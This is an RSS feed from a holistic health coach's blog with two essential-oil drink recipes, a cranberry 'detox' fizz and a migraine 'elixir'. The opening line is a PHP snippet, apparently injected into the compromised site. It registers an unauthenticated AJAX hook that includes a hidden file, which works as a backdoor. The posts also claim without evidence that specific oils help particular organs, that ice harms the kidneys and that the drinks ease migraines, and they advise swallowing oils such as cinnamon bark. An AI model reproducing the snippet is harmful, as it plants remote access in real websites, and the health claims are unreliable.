if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } ginger - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Thu, 21 Dec 2017 17:00:42 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Essential Detox Fizzy https://rommykirby.com/essential-detox-fizzy/ https://rommykirby.com/essential-detox-fizzy/#respond Thu, 02 Jan 2014 19:41:34 +0000 http://RommyKirby.com/?p=578 You know that urge when you really want the bite of fizz on the back of the tongue but every single fizzy drink on the market is loaded with chemicals, artificial flavors, neurotoxic sweeteners and sugar.  I used to love the first sip if a freshly opened Coke! I liked the way it bit into […]

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]]> You know that urge when you really want the bite of fizz on the back of the tongue but every single fizzy drink on the market is loaded with chemicals, artificial flavors, neurotoxic sweeteners and sugar. 

I used to love the first sip if a freshly opened Coke! I liked the way it bit into the throat and feel of the effervescence in my mouth.  I thought I would be able to stop at just one sip, but no, I wanted more and more until the entire syrupy chemical concoction was gone.

I still love that occasional bite!  Here is my recipe for a delightful detox treat that I can whip up in less than 5 minutes.

Essential

Ingredients

  • 1 cup (+/-) Sparkling Mineral Water – I like Pellegrino
  • 1/2 – 1 cup Cranberry Juice – For detox use Just Cranberry by Knudsen and I like it strong
  • 1 tablespoon Coconut Sugar or Manuka Honey

Essential Oils (use all or just the ones you like)

  • 2 drops Cinnamon Bark
  • 2 drops Ginger
  • 2 drop Lime
  • 1 drop Lemon
  • 1 drop Wild Orange

Put it together

1 – Measure sugar or honey into a small glass container

2 – Add desired essential oils so honey or sugar can absorb them

3 – Pour sugar into tall serving glass

4 – Add sparkling mineral water. Allow fizz to dissolve coconut sugar. Stir slightly if necessary.

5 – Add cranberry juice.

6 – Stir gently

7 – Enjoy!!!

 

 

Your kidneys will thank you for the real cranberry.

Your liver and gallbladder will thank you for the Lemon, Lime and Wild Orange.

Your pancreas will thank you for the Cinnamon.

Your belly and digestive system will thank you for the Ginger.

The sharp tartness and slightly sweet fizz satisfies the urge for commercial chemically formulated soft drinks.

I do not use ice and suggest that you do not because it is hard on the digestive system and particularly the kidneys.

The essential oil I use are pure, therapeutic grade and certified by a 3rd party to be free of microbes, pathogens, pesticides, herbicides, molds, mildew and fungus.  They are the only essential oils I use, teach about and recommend.  Send me an email to learn more about the oils I use and trust.

 

 

 

 

 

 

 

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]]> https://rommykirby.com/essential-detox-fizzy/feed/ 0 Essentially Happy Head Elixir https://rommykirby.com/essentially-happy-head-elixir/ https://rommykirby.com/essentially-happy-head-elixir/#respond Wed, 18 Dec 2013 17:56:45 +0000 http://RommyKirby.com/?p=507 It is estimated that 25 million working days are lost due to headaches, particularly migraine. I suffered..scratch that, I was actually I was debilitated by them, for over 6 years!  It was a vicious cycle… migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again. It […]

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]]> It is estimated that 25 million working days are lost due to headaches, particularly migraine.

I suffered..scratch that, I was actually I was debilitated by them, for over 6 years! 

It was a vicious cycle…

migraine, meds, recover from meds, 1 maybe 2 good days of bright hope, then it started all over again.

It took a lot of work, a thorough detox, and years of living a daily detox lifestyle to enjoy the health I have today.  Seldom do I get a migraine. When I do, most of the time, I can nip it in the bud naturally.

Here is one natural and delicious way of staying in the game without the nasty side effects…by the way, this is also great for those times when you have overindulged…

 

Stay in the Game-2

Essentially Happy Head Elixir

 

Ingredients:

  • 3 Granny Smith Apples
  • 4 Stalks Celery
  • 1/4 cup fresh clean water
  • 1-2 Lemons
  • 2 drops Cinnamon Bark Essential Oil
  • 2 drops Grapefruit Essential Oil
  • 1-2 drops Ginger Essential Oil

 

Directions:

  1. Juice apples, celery and lemon.
  2. Pour water through juicer to get all the goodies
  3. Drop Cinnamon Bark, Grapefruit, and Ginger Essential Oils into glass
  4. Pour juice into glass
  5. Enjoy

 

This recipe

  • aids the liver
  • helps to emulsify fats
  • supports digestion

 

Next time, you’ve been over served (hangover anyone?), over eaten or feeling Captain Head Tension rally her Storm Troopers, give this a try. Your body will thank you.

 

Know someone that can use this?

Use one of the buttons below, share it, send it their way.

 

*I only use and recommend pure, 3rd party tested, therapeutic essential oils. Send me an email to get yours today

 

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